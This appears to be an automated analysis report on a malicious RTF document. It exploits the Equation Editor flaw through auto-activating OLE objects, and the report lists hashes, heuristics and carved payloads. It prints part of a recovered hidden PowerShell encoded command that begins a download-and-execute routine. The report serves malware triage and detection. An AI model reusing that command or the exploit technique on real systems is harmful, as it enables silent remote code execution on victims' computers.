RTF malware analysis — malicious · 4a5322aa163a1f94

MALICIOUS

RTF

65.5 KB First seen: 2019-12-09

MD5: ae81a534e61106bcaca517c31f4b6125 SHA-1: 4b648b15aa548c2f4d6ded30226317e378217746 SHA-256: 4a5322aa163a1f94eb9c09316c109e36d5a06a5eff8cd33bb2a17a39d9c13cec

180 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.001 PowerShell

The RTF file contains embedded OLE objects, specifically leveraging the Equation Editor vulnerability. Static triage detected PowerShell encoded commands and shellcode candidates within extracted artifacts, indicating the execution of a secondary payload. The ".bin" files are likely the dropped payloads.

Heuristics 5

Split hex Equation Editor ProgID + OLE object critical CVE likely RTF_EQUATION_EDITOR

RTF embeds the Equation.3 ProgID as hex bytes near OLE object activation and splits the byte stream with whitespace or an ignorable RTF group. This is an Equation Editor OLE activation surface commonly used by CVE-2017-11882 / CVE-2018-0802 exploit documents.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	29561 bytes
SHA-256: `d48c6d308cb6792fd563fc8c75947fb1c3d7b929d9649ecfca64084956009321`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): WScript.Shell").Run("POwErshell -noprofile -noni -W Hidden -e aQBlAHgAIAAoACgAbgBlAHcALQBPAGIASgBlAGMAVAAgAFMAeQBzAFQAZQBtAC4AbgBlAFQALgBXAGUAQgBDAGwASQBlAE4AdAApAC4AZ Carved artifact contains a PowerShell -EncodedCommand style payload.
`objdata_01_off0000ef61.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF61	1726 bytes
SHA-256: `dad6ef7997acc21225b71bae65c485101ec83870844404b5bfba242c1827643e`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS

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